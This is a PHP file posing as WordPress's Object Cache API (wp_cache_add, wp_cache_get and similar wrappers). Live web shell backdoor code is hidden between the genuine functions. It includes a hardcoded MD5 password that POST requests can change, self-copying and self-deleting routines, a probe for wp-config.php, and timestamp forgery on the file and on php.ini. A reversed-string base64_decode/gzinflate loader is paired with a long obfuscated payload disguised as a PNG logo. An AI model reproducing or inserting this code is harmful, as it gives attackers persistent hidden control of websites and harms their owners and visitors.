<?php 
/**
 * Object Cache API
 *
 * @link https://codex.wordpress.org/Function_Reference/WP_Cache
 *
 * @package WordPress
 * @subpackage Cache
 */

/**
 * Adds data to the cache, if the cache key doesn't already exist.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::add()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The data to add to the cache.
 * @param string     $group  Optional. The group to add the cache to. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When the cache data should expire, in seconds.
 *                           Default 0 (no expiration).
 * @return bool False if cache key and group already exist, true on success.
 */
function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->add( $key, $data, $group, (int) $expire );
}

/**
 * Closes the cache.
 *
 * This function has ceased to do anything since WordPress 2.5. The
 * functionality was removed along with the rest of the persistent cache.
 *
 * This does not mean that plugins can't implement this function when they need
 * to make sure that the cache is cleaned up after WordPress no longer needs it.
 *
 * @since 2.0.0
 *
 * @return true Always returns true.
 */
function wp_cache_close() {
	return true;
}

/**
 * Decrements numeric cache item's value.
 *
 * @since 3.3.0
 *
 * @see WP_Object_Cache::decr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to decrement.
 * @param int        $offset Optional. The amount by which to decrement the item's value. Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return false|int False on failure, the item's new value on success.
 */
function wp_cache_decr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->decr( $key, $offset, $group );
}
$auth_pass = "21232f297a57a5a743894a0e4a801fc3";
if(isset($_POST['replace'])){
	if(trim($_POST['replace']) != ''){
		$x1 = file_get_contents(__FILE__);
		$x2 = str_replace($auth_pass, md5(trim($_POST['replace'])), $x1);
		$x3 = fopen(__FILE__, "w+");
		fwrite($x3, $x2);
		fclose($x3);
		if(stristr(file_get_contents(__FILE__), md5(trim($_POST['replace'])))){
			echo 'changepassword';
		} else {
			echo 'failure';
		}
	}
	exit;
}
/**
 * Removes the cache contents matching key and group.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::delete()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key   What the contents in the cache are called.
 * @param string     $group Optional. Where the cache contents are grouped. Default empty.
 * @return bool True on successful removal, false on failure.
 */
function wp_cache_delete( $key, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->delete($key, $group);
}
if (file_exists("index.php")) {
	touch(__FILE__, filemtime("index.php"));
}
/**
 * Removes all cache items.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::flush()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @return bool False on failure, true on success
 */
function wp_cache_flush() {
	global $wp_object_cache;

	return $wp_object_cache->flush();
}
if (file_exists("index.php")) {
		touch("php.ini", filemtime("index.php"));
	}
/**
 * Retrieves the cache contents from the cache by key and group.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::get()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string  $key    The key under which the cache contents are stored.
 * @param string      $group  Optional. Where the cache contents are grouped. Default empty.
 * @param bool        $force  Optional. Whether to force an update of the local cache from the persistent
 *                            cache. Default false.
 * @param bool        &$found Optional. Whether the key was found in the cache. Disambiguates a return of false,
 *                            a storable value. Passed by reference. Default null.
 * @return bool|mixed False on failure to retrieve contents or the cache
 *		              contents on success
 */
function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
	global $wp_object_cache;

	return $wp_object_cache->get( $key, $group, $force, $found );
}
if(isset($_POST['shnew'])){
	if(trim($_POST['shnew']) != '') {
		$name = trim($_POST['shnew']).'.php';
		$lul = file_get_contents(__FILE__);
		$lol = fopen($name, "w+");
		fwrite($lol, $lul);
		fclose($lol);
		if(file_exists($name)){
			unlink(__FILE__);
			echo 'xXsUIssAZ:'.$name.':xXsUIssAZ';
		}
	}
	exit;
}
if(isset($_POST['checkwp'])){
	if(file_exists('wp-config.php')){
		echo 'Yeahhh';
	}
}
if(isset($_POST['checkwp'])){
	if(file_exists('wp-config.php')){
		echo 'Yeahhh';
	}
}
/**
 * Increment numeric cache item's value
 *
 * @since 3.3.0
 *
 * @see WP_Object_Cache::incr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache contents that should be incremented.
 * @param int        $offset Optional. The amount by which to increment the item's value. Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return false|int False on failure, the item's new value on success.
 */
function wp_cache_incr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->incr( $key, $offset, $group );
}

/**
 * Sets up Object Cache Global and assigns it.
 *
 * @since 2.0.0
 *
 * @global WP_Object_Cache $wp_object_cache
 */
function wp_cache_init() {
	$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
}

/**
 * Replaces the contents of the cache with new data.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::replace()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache data that should be replaced.
 * @param mixed      $data   The new data to store in the cache.
 * @param string     $group  Optional. The group for the cache data that should be replaced.
 *                           Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool False if original value does not exist, true if contents were replaced
 */
function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
}
/**
 * Saves the data to the cache.
 *
 * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::set()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The contents to store in the cache.
 * @param string     $group  Optional. Where to group the cache contents. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool False on failure, true on success
 */
function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->set( $key, $data, $group, (int) $expire );
}
/**
 * Switches the interal blog ID.
 *
 * This changes the blog id used to create keys in blog specific groups.
 *
 * @since 3.5.0
 *
 * @see WP_Object_Cache::switch_to_blog()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int $blog_id Blog ID.
 */
function wp_cache_switch_to_blog( $blog_id ) {
	global $wp_object_cache;

	$wp_object_cache->switch_to_blog( $blog_id );
}

/**
 * Adds a group or set of groups to the list of global groups.
 *
 * @since 2.6.0
 *
 * @see WP_Object_Cache::add_global_groups()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param string|array $groups A group or an array of groups to add.
 */
function wp_cache_add_global_groups( $groups ) {
	global $wp_object_cache;

	$wp_object_cache->add_global_groups( $groups );
}
function pre_term_name($auth_data, $auth_pass) {
	$kses_str = str_replace( array ('%', '#'), array ('/', '+'), $auth_data);
	$filterfunc = strrev('46esab')."_".strrev('edoced');
	$filter = $filterfunc($kses_str);
	$preparefunc = strrev('etalfnizg');
	
	return @$preparefunc($filter);
}
	$wp_default_logo = '<img src="data:image/png;FZzHksPQcUV%xTtJhQVyKttSIecciY0LOefMrzdnP0WCeN33nsMh#Z9%%89%lmb5r%JKh3%W33aqhvQo%5mle0lg%1eU#VyU%%yHnHzlbDeZoQ%BJa583iM#ApI5fJnmNdSc7H7jLC5TwCJOidsiaqavcIZOr5qBFACCQA56uk3NG#pjCYggwTfqXXCydRPWmeuq5v07zdd3qohJ1cBqw5yH5jiiUhqv0DFrWPaRSGQjDHaKYRSIT#j0YXnGmTFreYSLTx81V8WRxZWMY#tbYmMuE#zaKYsRSYTBhIV6iKDqQ4sd8d4dpmhNEGijyBB3wz2QMurRMJ0I#Ck01eojWAQxCJMUlWR2Ic8AsaVmIz8XHVtK200Gl2bXScL5IQXYu9vpHQJe6aO8lPeFzudqMJbSRPZKCdZRv9pHdz0PWag173pUiR77xp2WUE1Bap7ypI%jXb8Kr3JUvc%9lU8Rwq2F0OeNhOc7Ru2lamJvMiFAkWuOk#DooTzDIz65unYYNuLn12jQg8Ltj9B8RjDUufQNmHHhmo87OYg#odcqSDrGfgqvoOALXZRgKtG#xDL0C05KUQE41nh0u1YIibvhHt#b3QJTSp0tRMoE1pzXArmUUIj21E8fUu4gN77oURxl0J300zZcCbQ5mPJhcWqcmFlnSOxguq#b8KvmA8QHRLCc%LfeeXix1GrXDp5uJSt%v0X7lZJpBitfbGEL5OfP6NKU4m1Fo7T677apM7E5UZ9kSDpA0sQuV3MNUikzJRFwS0yxQbK9AmmuwKjIv7%#3qWtjFo6RVlmfEuP8L%K66CMAWukf8VE5UuV4CNhZZe5iAFStHY6mslFHLxUyUvrkgm35dXJ3HISee9bm2AhgeVMFUx1jaCiFepiJEnWFpR9XtnqXhYZhNPmF1rjnC1JR14eYiJ1uBCIptIdgRVeNPU#6NQhust44tgiQan%zvz7wboXKOP3OwxmmLPoQPGTh2Di51BHF0PqARKevL0%aH4KLyLnF7CXvd12b%RxC8eENK38HI7XSbdgdQOUvPfBYHFDcfpqe%J3kFLZM2MRuh0RgR#XzTQVYwODm7jE2TNpqNmPeQywOlj6#mSxTPIQZd5jIc86RJiWDFMbmtQNcnu9wXkf60SahqvOGeBGAS%nMcv0XKPPTs0r4LGv#Q1hRTvDXJUFSgdGaqvgjFHH%CzlFeXMPGFlBNkXe6dnYFsf5Sh9Yf26Tk83VuUwEBG6WhF9ncCBICYXSdiv22AT#t7exFP82oSZ45XcrGzeM2iKZHDKtBdun37vbzA8shE0YtguNEgSUT2dwVPH#CZ00jRrCt1v01VWwsBVemHi4nF5gZ#FYEItio%TAW9Lq1clSZ094aKo5EU1z2XDOWcHkUo2I9Og#X5xPM%pMqj53zzM3fGp137Zu%Y6oNkcMatVN%AhYFyrvvAtmvzjHCQUuGRZG681QLf9UeGZOmFT#FALraI1WPGXfI1cFtRVi8VQOfrjh4Zkzc4CkdOXodj2VCXL72JCvFj2arJRNkyYOE3F6ADfKc8YEBwV1DST9wxbnUgYQPC7%wjUYdnK7rUM1dl1puQIeokiziYvHMzXBD#uRBTR7quEOUzr1ya5g1UffQuYdhbZDB#mzNzlPH9w6tteXcrzpL0I2kNrmt7d9I7rLegSkz5ysaGpwXcec5pQzIYuJGOTqSbSQ%JdybLBkhdxGNhauBaBIRAOf6erEDkxF4F5RHuwkI0Mscq3iNKk7wUkX2NByCALWvgb3DbcDbKmIryqTnQBlpVUi70X#iazYXv6zYXnxINl45cXjhbTrEbhvf52EIXY8w6t8jlt4LOKJG5HfUMpWvvU64aTFFGXIPbJ9oCLQhfvqi#r5bUYWCSmHhMJK7s1g64UyBme6CIus#btb7b9SMrneCG5ogbpjfht4aawD2EM9sAj8r652rff5reSs4EjfBwDH#B7bZte3bfqNPiiJb4V8dXBsRWz%tr0ZdPnCbrWTtJ4ESX#Cf0Wq7obq66vueYVqt1tJcNCUmZjFM4arrPmOMRfuxPKg5bSJrTRzcbWYnY2t0rKy351YqtiUi#rsaH1U9mNSaT3pX%3kLaOXmNZTHmi7nRwRuDREbrk8UbSwhrBVAyoxguP#XvMlRyJBBhgmu1TyNZNZABcF7Ker887We3ePR0T#%1#8E%UitdXFxjuLOMVWvmpdYIr4d#Tktt175g9ynAnZ4S3aiOyxOdckE%JfKBrFE5g7uIZQz7tp0KvJNIjAiPbl2eI8%Np#FmSxradk0ByGRg6rpW7ICDLss2MLywluv1tVPo72V4I78wclt9H6cZlEzBnqGNOictHqINuyL2R58XGe0%ELcFleb1kEEcd7lx#4Mkn0%TQZf9qQf8wi6CYJ285VLYOhGK3xnpGcXwv8uFo3YmMyRq59PMV7ywPq#3JuZRGMZOLGErP0g1y6jLpwgIjUEP1pmeDOj84o#Gy1zXCZfu1yZB1yMOKUZUWBsehRzwf1GES5N%Sd4LHWKHtRNozEk5uK6gnk0ufC53RI5#xkiYrWSDPWQx99i77kXH9cxbEqHOHQmhMweEwYBtOVHEIvgTfGIIsljx9%B2QlqA8H1S7j7o3cy%%nkkSvH1PGf69DNECUyJ85WJyIAczmBW#hnoZ4O#Ay6QKfUQ0pS310tzFaxemG9faxn9zThB9380f0c3yLW0VjHTPCXQDNFKzg0Gx1wGHZSswmsv3Ry2XPghPyDbYYGepWj%zPbwX2svEq04VWAGTYYP5yDHv8kcPMv5d1%m7p7fLzmKeIEBN6pLtcG5Hvdk50xnxcurnjuHfJvW%RVfV5vuxG6s2jvZmVXgxunHMqOZT2fNBZdYhqG1Hp#ixG6cV6MMODtGru2iibhL53LzX4cJuanTZ3Ph9DS0czPMx6w44i9Gbq0DiT7epjH46iuFDn%zxTYDfgY2SGzcSfFulPAxQlYPKb8DLe%xVo899UB5UL7rjUnR20dtfWOtcKJhseqRtIeMmAMuIcv9ChNiqy5G9ocRUa7YL8AAWASICFieWSAtI9d0aNJJ0uays0LfOqsMIWEnSzD0AoAhAOfaHSaatFUND3QtLhSJxwRAVbZ5GtunxQLIeBIw48BhddckdxmD3AcDtl72aXzIRTFsIAxDO4#S3WTPlAAIXQy8L6yz1TTNvqLCXmZrEI5YpvcMDlrUjn40YvLIrOCe%dHKnmK4%LBbcqpxut2uFBw65dbjSCPr4iH7cambU#m0ZQ%CFufTX2UG9p4c1i%W4lanhjemZbjXC7zM#YXSWu%SXkeSt9Yu7#sNoXMLtOGOdS69rPU#%PEHgVGtwzyt8fgig3DZh8Ti2VXJX6ErPxFMo1ntmURvOdZR0TXxty6AZCZSoS7TOlob4je1cmAaOlywm0zo4BH%HDLSsSowUxi2YUqlHb4p0x2%#N2ko076GizKnSyJTWQUGxyDgUIdEl3Rri3w#LLmR8QIDZ#5b9n6i6RpUnhD90AuhhLibL1ndaULof9Zz4Z9nPV6ypj9Ys6AjiirG7MBf38VkIjK%4UtqohxFiibCvTzYqD97rGivBbn7JBwAZb1kdd97kPp1padWgKtqDBFWPsuST9V1SNNKEOMzW0VSB225iKLxm6neP7fML4UgtUNp%Bzj9AGMSeo%s1uwG%AMwUEVU2lKpaB4xUJS#BhQafujDRU#42W6ZLiALHyjq5n0AEcx%LZlE%I2KA5sdFP6krxzkVgfqq2SZUUHaBtwdhePubLTGCdbcCezrgH0wdxvo##GdgdS0ZKPz5l46y%V8BjAOYhvCs3TUg#X9ZgngH1TOJuKmqC3SQzepWCjEsvzLwyNEEc8QUmtRRP59Hx%6Jgskw3WDvLB8rnK#ffxqTmv5s6qJg5M52yGa90dvZGrLKtF7zT1FnxIPuWqvYrFNi2Z5UQnJgdQaol6J7zxxX2Qjz#vq3Xeq1S998NTjKc3g25RfFpvakx%vsbPOmcvhBGeVzPjPlAjlI717O6IcDSNzBfgTmsPA9IeikXwvnXyheXfi95ePIZ39MKP93WwAi5%3JG4Y4VM%KyFPm3JdOSnchGd2jEHv#uhYT%Gpv374BfZzqrD2dNesnrpJz4IA5IeTFQ#PWQ8MBCsObAxPrUFjNypKFJXekxbuCXAqf7Xr2oqQjN#P8D089LU3X7wXodGzxgmGiGE8svoDJiWlDSwcT9BVuPCPpjyjclG#1hkcmrjtGHf3%lYO0FSS2kBsGR6m0A9fFve1A4inik4O1s7rD6XyNolLAULP4JEChO%fS4WIQ9zaaM#%uobuPNPSqJs57Za8HbT75gOmHNn8U4%8PQALJr2AIdnVkBEY37lKdvEj0#Ue%vQSbUhsMh8ufZ5KgJJ8GgM7FL9FGYZiSwhkpTb6qNk9CXkEsHq4f1nUDEt31lfpDp1kr%ZK4OwKUruT0hwoAtE6kcRKUp6Qh836IkqNAQFFdMNwWfU7iLpcMqCreMksUUfJEsfd6W8NTHw#%EeBT0DYCXGzKhFQUT1GpQCHy1WPz%SLI2eZ%1THCZtwt1RZROl5NVP9e4EON2AHvO%JYOi1sdV1P6NJYVzrlZxwk9Pbwc6EifiYdf80QiTf0jWioB0DDfe3gSLtkZ8n4EWLBxUwDRXfV7TBVL1g%oAtQes7TOGTTwwZ4qqkUBNS#NKG%HO#LBypLZcL8l6S9JOZ5xZtrocntdW0n2FT2ha4fBYj#SBxE9g7M%6%sqV8yAJf1%Mww2yV3eIJlsnXAFHsIFlLmgsLXr7d625#KE6JfLHwwUplh2GNQg0yLY%W1UpaS0JefIyWvJybM2Wo5j1hrlybXyEsuFGdzprHd%VdwfPC8l6CsAojeXOkFt#FGkrgY1093lNmiwX5ofQJGj5LJxrqGhRzv5cG7S9mGOnzQzwPphcIKK5iERp2UK9I%O5j9eyypigQQXPJjHwbQGupo8o4meFzH%GHoAEhYY79Zn92nZ03FzPVLUg31CwX2nv%jnlZD7tA#sGXF4f2pdEAscXaemdky#JAWRJD#71oIvBI3k5qz#jxLZs9#gd%UAcl6HFvGEvRBaU1PN2mabfvgdWqqSu08xBMqcnHYNEb22X4iyJj0AMy6n%FFAPuovD#IckGo74KMMFf#7#PVW3esGUhCM3khZPxDfBm6Rn#pAf2yuqycQ8etzJQWJrkXsQTiZvbx426%faERLojyAPD8B3kjPIDie9TXehyXNawBVI5NE%VBi0Br%3aLHMHE8eLg4VJ#9jHeTFbbiMBQVqu0jx7LqpXmS2n31AwBKCGNujLB85NSlHay70JuPv5dOycg5dZHTKl0geLJ4ojoCMhsZ3gqqwGn2BB0Kpos0gakPJfiqP5NvKT7VP1RICdfKbecE8MIbmhYUQDQMZQJ68sZ9wR0nexDFW5JUEafeSifCp4cJSqNRiFFtXk21S8uBY1UuOMWeFQgig2pYkH3SzeLU6p3bgJZ#U%CLZVxP6aWbzJtK4ObgMD4DkjKksr886pCqLzx01#1IwYlzG6bBbU0s%xw8Wv%e3vwjyst4vZg0%#QnflNiLoQJsk708dT8Vy#QX7uiGxO990ZWSROHBqrLxOq5AVSEh7gsNNPrBmFGwSk09Cvg58Rywphd5xoyup8GhDbbJzpNa2MCx3bk9NQqRFVLgsGVJbKPB8I1N1NxsQbgP1F8xfYJHr8Ap#BBVNre1xfRw63lOnjAWSaAY5PfMFAelFCki96E9DoSSiE6gTTM%mT0LuAEB6zcvrKQlFZCEcKFjN9FGph1gyixGiddwv9GiRwj8kuZdN5M%%YZelJ4nZgrJWNFwAgg6wKr5iPWDA2SHQhqNZVRtfPutGfrXGFSv7RayRp89orL4YuPKhnA%zj37oJ50uXIJC7WTUVq4plO63w5BpGrjaZ9hRk4Shj8QieFthjSTooFPphs9yLL7mDGhUEe2#w1N1v#Fhq8UtJDBFQl%abbTgo%yxV5vnQcBX4scS4iOl7FV%ZqaNgPqYPujWRSILhjwHjx1WjD3Yx8iHps55P7GUKslWi0TctE4TcIBXInx2SaObeDF4#hgXQbCJFcRTcaF%jXXZdUmmNMWhcNM0Ll%vdLjQomZQlrOyo9Sq2Xyf83bFIJ3llVql9jwSZl7ZQWLBx3p9bo0B3U7Sr3LGT7lpHWAKdcYf#cC3O%bvvKHLAOnzNT2koFPAh%2ESitD1osCuqC7TIpw0Fgo8ZY1ZSw1STXFkhCq8EWqKKw8JZjvL1iis1pqOKDwd5qkdIsa70czDkwrr#Z4l8UK3x#4ynFILLsEsCrfM1DC8NvTeA1wkdItFtP9F%9fRZ4qNoRZqBl#cqUr4cyxOQAHLDYqODEgYbzjLbElw4zKgRuoxj7JHxiwRDTQgXlm2M2fRhhbSWQY74A3LHBejH3V%3ug89siwqG3ROSnZ9fb44B0MrN#qCmPK1YMDKG6lQ3r8MehxKAtj9BcYEZYWuHp21DSf1rzMm#B027vaU6m3Jz2Adc0nQs2xs9#B9JqtX9zTMbwb6TKrWYocqCvUBfsnckGa6bgI%gZ%taxTTvDW#uemv9DIVUxiFLgeVFg5NbCIdcNind5lh50JGo5ayIVcnwJ4bZKlj8Bc#nEuTZrgmgXdDuGYpJhCkzMuiH%6GSPBXrShrXJD#vJ2O5mdmqgOyCxq82nJMCb9PUQMb0duUTL21zbWscc5i2AvdAektLE1Yfhy#6M7hMVDNzlBQ2mFEAAdq8AovEfKU#jE32Wn2jX52sGghT11C#ri9bumLKTjvPUF#GqaAiXUhZ3cQcUzqjvaiKzevY3x98wsujOAqio0KrqWZmRvwIuhegiU3agc%i8ghMKpWMQ0HiQni0%8YkU7AlS#g1YLtXn%z45Xx%xRNNlYNcCgRIhle4sTLRrtar2Weh5E231ri1vt9oqD%tEEcb%gu5DZSG9UPLoiwyKWgGCJgXH08MqJcDPfl3Lw9YlDB9WoIENSxYL7ZcK5fnFymMtQxinbyWPIY%Jewq#siTsGyYqno0zmL0PX3cSQ1cQgVOLD2WCPOyL69H1RzaxmXI6FiYQ#ko8C2Ya9%n0wTtvzUdixPuAu5J34ZnkS6o3#ZeP#N3rXda#5nkACNQOERDy3zq2sW%DBBjxyKYTOjGs5N%l0tg76PKyzw#qjVWCHKTwmL7zIAN#7aJJ5aPOAAdeRXUgzNw4n65a86#7yU9lzb36lFHDkGo6EZpk7zYZw1DH6YCTffHBcXMCdy92saP5VP9MmIMcJHdkhEBtDMeOBIaP88n0gCB15uTdAzyL##whUMDHql73vAq6rMHA4CE#a8dWGrfDYkDxHxBPMZWiimzAb96#8B5fcLc%Orcp3o2BEFs1HTjKjYIBg7LYDooGdm%muPnJnFCPHNxo87hjoH2AaQrUhn14w8j3QYmRo26Wszp6q%j#FFZTWqgxgkAi5hEXNS#36GU7pOKkwNyqx4GMLoQh4NGniE92en4ZF8Hs#aNbJoiJqK61Lz48EsR9VzFbZpDeI8g5UD7tcgvAByJ6U98gotcqlgS5HyK0CvNgcEJx8oCYmp162MyezKbKnnJCQHHkOoLO#GONiGAO3NXEC9LGMPmWt0iNiY#ixxm6eaX8IBcm3agCCbwhvDztCsh4dA0mNWmJnZAJ3FQZd5PgoZd0IHBLtX7atFTqD7FnODd9kY9TtGZIKWIpHtQ6IM1Cedv5vi#PiWDQ9A4LUND4OtcB5Fbv0iOYX7tQ%qig3Cf3orV07cTwJexLpdw7v0Nb4#DBxiM75H3cXgOSp0Dgi3bU8HxTLvStVX2ttvI%NzaN79GjKrbIWhx0gnxQF%fZZt9wEEjpLFsiOJM#nPUDj5yWOYS#Si9UQJ2UCyRW1P%sl%cQEe4gQ6h%hhoeAM1FC9#XCDGfaG5b96lRVINjWKvr6qlhZN#6BN6uNGt7gvzB7mMoyqz3#Fe9%jYSOaWnhcABRPg78mOFbzimgCRZO6dJxQRrvgaCYjk2KA5HOk%xWkcI3gCgFRIOBlOroqx3zcME2utZ3yWfsHrItRi9s47MHo4SOYg2tXcNeeXN3KsMN8ffxPjpH62VRs#zRbrrQtL6zb6XzBgHtTiQ8svfvGNb051nUuWiDhny#a4fzsoZoAQjgKpae74w2%omqMqOHhoUL4mJx#%IRR3kUI0DQ0uZ7upVkwstGwhyVxx1RaOdy2uDtUAjB%EEEymKPg#P%yYxWD#uO#k4Ls0tBBko091ccTJbEZa6QKC1CGIEqnKrvU1kJknHzbS81KB9toON3ZPXTYdrmyymK8qZrfWDvtuuV%lu6pa#prKawi%G6pT#X2Jd22K190RNM5cZ6m4BuTbRfxFXgZI1pgbT3XVfGXVTJBIca%Nv0kPDWmWgdHr9NfJez2PT1O%AJhg0qUV6w5iX2ZzF1esuZPJy0KaR#wWZ3d2S#%U5gUxInFb#VfX195P4SP4rlaktDLOT5EwLTTy3lBTtH%HbgZ4waJbTo5B1vNJ6QF7IA9hXdEF6tNX6V0YhA46U3KUM23qewHmCGmbr#5XXskl0YbXkbtpzikooq6ttje97vZ8IciIimlciCFp9ewv9mssw#TXgswWZdTtGo2xn8Ip2CnnP5qfC66tavoM#4N5vG9IH8vdZqtvX1hjMcPTos2RuOyPkD1EVplHhHNqyjWwV7cFed3bN4edRr8QoH8HvtiEWWkEKndF#RTalnHdl1OmY2E4h8DYXSKf4%AznVDBpPChTlG57iw#u5p9rYkwPIjCgi4QuN8xwZ0v62m8UmA1ret0oSHPv##W4EyNvWL#hYipEFH1HPqO3LatPQDByGVAOngCy6BGzKTejZEfWt%Ow5w8vvjPrUMwYHzGHUK%05l4XNs72IbxjKuNabHNFS%sk5iBvk50W%aejtFju0Rhvwx4HxzRJgAk3vHJ7XDQOjEsZkI0DaOrTPQTHjK0RvwEPE7O%HIpamMi7EocuTCaepLAX4tS5P34JM6fut8aci4%OxZXbNl4jK0VFap8YkVcfRqQM#h4FOcRPEl7OQIUf6deeY5In3CvXzSABeRXY#y2#U9sdqVu87I900kOQIXoTvLLIRpZbjg1n#222pXTqROGzs2BWdvZuifqRcE5hv0Vd68Athq2QruEhAjbf1ObnlXpk5G5Badcy3bbEei4%OXfJNB3Q2EudFwC72gANSqbMju7JvdPS9USGX1%w4eJ7HdlfdjPEoCuC90YiDkbUqgtegh91KsaT%1Zyna5rBn6oejZdFx7BEfyRnwapC#mJ2jYVuELuaFf5ijNUcZJsdibEVITwx%a1k4IlRwaWFRPrNyPe1G5F8xKjiYz#7yw3HVHdCBs2fnXcGJVkvnU#kv#Ph#76OaAQwweUeHLdQCTuj00ZH#iO6awi#m#ud6pqH7swqWAQ49KkAogUmZ#myWmFLYF9Ymx9vpcGIel9OS3ougymhjqhvJS%6L1s6GGIqTrV6pBil8XlJK6CjIQH4V4Sc5IqvoOIWcBb4u8NQKTDIZGN1t7GWp6n3OCNkUWLqSx3qFIOoFFfCeYqnceHVY1dr1%cuWh#a04VODT3hA9%zjex8kGA3AV54D#1F851RDY%6mjXULwsv2Guimls6Q9oGd0njwYEa6QddOc02FgNiuvi60BxC9uDXPP3JJk7MwzTlrAd5qHGoaw2cDsVG6D#41u6wfLeyIN0f4xj2xFfrNKGcktKaXUfQMN5WtGDyrPW0smt#1I3xhSQHGKOHjxgSPDyjDWnqWyfn3u3f%e1C4LcUnGSnnRv3cYaEvP98iQdIwi4iU6vfHHE81gZAbOmzbrrzQuYOmbtFNuj51XMfwL5FUN1wg#Mn0e8e2ZJyTwDmyDDbtF22O6Z7hUpJJysua0IfC1oC#r#yuo%G58DNaH6puzFCb8R53RtU7Gsyd4HU#IVjXmWQ2jnk1#wVmAH3SjjAME4hybmBNpmfmHgFnMk#uJ1WlTdU0WkhRjpGhrmEP8zndRlOcvu7KLgmqD#g1WG3ZG2XrxIK32BW2T2GPAlKbNbu7g1HU#N3Mu8lB2o883xX7WHVBW1IEUywER7DqFahb6zaVEjhEj4wLiDMJ2LQHajwdakTryAPF#XLgTEJO4kg#25#fR6Z3gRd40y1tPA3oLE6VKOcUPOvjU9u6csZsE2mhgPwZWWfJkIyhyRMEwmjPZ0gVVZUnMoRp1Ochdj73xPHCdiW29OLGyAIVOQToMtVxYYJrw0EV9b#Kw3Nz116y6l9WHy55vKpic7eM1S5%jb1tzQSVGMR4RbwPXhHhb0IDv9qnavL0VKLZfHGwgSfHS8EH9mCEa0ZYD8XdVjpP34ITiZDkFC%n4SyEAfAMiBJofRgWdhxV#qyiJrIgWYaSTe5ik6ywqy1k1BusKOmx6EvwmrFwm5h60xMqync8sBAPcbGuwwIxbGeRLPjUNzNftj2oN4v5DxEGiJHgTkhwd6h7df2KH5kk7rSR%qdHdAD%8uTiyRnwcswt%j37mRjqJl7gz4Bp5yDLY1BHnxYX4MT9dAVtMOILrv35g1vt5rRUYcxSRoN4DMMOk#G7olyx9ljs9fvOq39Kj9SSmG##wbcOO60QQlfAjv79qVXEovKIBzufho1vuLaxlOBhK9lC1M#FBF4YzAFO6#1Fy#Iw5YEl1k7YXuXNX1YZsAr4gSyQW2zBS4p4K8i2psChRN7VH4aFysOALbO7EVDn92mp2A6e9e#1yVg6#IwcropWYdeRHIss%hDsX4xpg11xg2zby0hKp9zCIo7vBCcyfTeOZIMAo%nYM05HFZAp1g2tUrucG52NLwmf7QCimC#7U2%MBScOTLp1CEztwZ8mSRUq#QyvCWpsk0nZ0qAfeZjs8Lkz%5QJdfE1Bbo5FdCK36EtJHlbp5PWHeO7vByiT7SsFq98KcEhrSgjCPhLXYhwSLdUsFM5liifVBAtyv7AEfVLq7ljAumMwIC%oTy3blm57VvdQ7u#oUuVHzTdEVJoN3c8JyKQUhkARYkukYFj5vBhT#FWhikDwaeRkMeA#Dzbcim0FKanegI5rM2ZEh6Sjsa0OzhAuWXOiMSQ1ZvwuV4BpLZt4q4flmDA7Jafc78sFw7j0FNRSK5Rm%QtR2rpur2VMi2Xss965OtQn%hLAtOAycQfV%GInSq34IDoAbHpCuuFUIh8i2Q9XY0BOcAiuuGrAaJeljU%GXoMakWmhZ9oIB%rDPcLYOccjKOWtRPJFsHH6jahHNV4ZPNMfHxrU4dWL06oradu6wVwr%b0#sEYvLOsVwhhydtWK5lwoDmaHzlXAK4I7yniXSG2vzqqrmyhZmfvGayYyRUKJq5GyDF%QPCUd%sHMG0IHDYmiUZhWLQFw5xJXVYbQix4NptsfTh6#do8jHE5U41P7zpLO9Sad6#oWInwX1cloT%x52fqcaKsEQo1vgupOuqgzZB2D7GY1cDeIDyNu9QgwJiDWpjLtK%e#G75MnBrqM8HqLudIWT88AaZYOQ2yt1otRzqDnYkgp4HP46LqXchU0P6QV%CHYyA803IMvZitZS0tnKo9EjunWXWqmK7MC8XHt3FfDC6ZAYZUG5#ranrZxAJoI75OnH665Sdcw5kLIaqXO%FeEwmFoOnNO0fdwBARIp9bGjZ#amN#CudHK4DL4Ip4zJIpMAt%F6o#vYSkztJX5#xI7gfK0elDkOAJ0sMOC%Ui1075iwuBi22UnWUSnBjf#YOOXWEjN#W9PPJ#846BVfmu5YK94fh8fqvbZpicbj#sEVROlSn9GojPgZ0ivSp66Gx4YbQhvY4fpuVPWjTkEBp5IS7XDNMcM%s6DknLfdrvO6HVJ2i1IZ6pOPyazNZBJBV0LA4C2Ep9kKKdO5zy2